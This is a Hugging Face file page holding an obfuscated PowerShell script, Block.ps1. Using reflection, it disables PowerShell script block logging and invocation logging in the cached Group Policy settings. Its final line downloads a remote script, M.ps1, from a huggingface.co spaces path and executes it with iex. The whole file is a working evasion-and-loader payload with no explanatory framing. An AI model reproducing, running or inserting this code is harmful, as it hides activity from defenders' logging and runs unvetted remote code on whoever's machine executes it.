gggg / test /Block.ps1
enotkrutoy's picture
Create Block.ps1
384975d verified
raw
history blame
1.74 kB
$GroupPolicyField = [ref].Assembly.GetType(("{7}{0}{2}{6}{4}{1}{5}{3}" -f 't','ement.Autom','e','on.Utils','anag','ati','m.M','Sys'))."GetFie`ld"(("{3}{4}{1}{5}{2}{0}{6}" -f'i','Gr','l','cac','hed','oupPo','cySettings'), 'N'+("{1}{2}{4}{3}{0}" -f'atic','o','nPub',',St','lic'))
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache[("{1}{0}"-f 'riptB','Sc')+("{2}{1}{0}{3}" -f'gg','Lo','lock','ing')]) {
$GroupPolicyCache[("{0}{1}{2}" -f 'Sc','r','iptB')+("{1}{0}{2}{3}"-f 'ckLog','lo','g','ing')][("{2}{1}{0}{3}" -f 'Scr','e','Enabl','iptB')+("{2}{0}{1}" -f 'ckLoggi','ng','lo')] = 0
$GroupPolicyCache[("{2}{1}{0}"-f 'riptB','c','S')+("{0}{1}{2}" -f'lock','Logg','ing')][("{9}{0}{6}{7}{4}{5}{8}{2}{3}{1}"-f 'na','g','og','gin','criptBlockInvo','c','b','leS','ationL','E')] = 0
}
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
$val.Add(("{1}{0}{2}" -f'eS','Enabl','criptB')+("{1}{0}{2}"-f 'g','lockLog','ing'), 0)
$val.Add(("{4}{0}{2}{1}{3}"-f 'nab','Sc','le','riptB','E')+("{1}{4}{2}{5}{3}{0}"-f'nLogging','l','Inv','tio','ock','oca'), 0)
$GroupPolicyCache[((("{5}{15}{8}{7}{13}{18}{9}{17}{4}{12}{1}{6}{19}{2}{11}{21}{20}{14}{3}{0}{16}{10}" -f 'cri','li','XW','cXS','P','HKEY_LOCAL','ciesGc','NEG','HI','twar','B','i','o','cXS','werShellG','_MAC','pt','eGcX','of','XMicrosoftGc','Po','ndowsGcX')).rEPLACE('GcX',[strING][chAr]92))+("{0}{2}{1}{3}"-f 'lockL','in','ogg','g')] = $val
}
iex (New-Object Net.WebClient).downloadstring(("{12}{15}{5}{14}{2}{1}{10}{8}{9}{7}{11}{3}{18}{16}{6}{13}{0}{4}{17}" -f'g/raw/ma','ce.co/s','huggingfa','ot','in/test','ps:/','utoy/gg','/','e','s','pac','en','ht','g','/','t','r','/M.ps1','k'))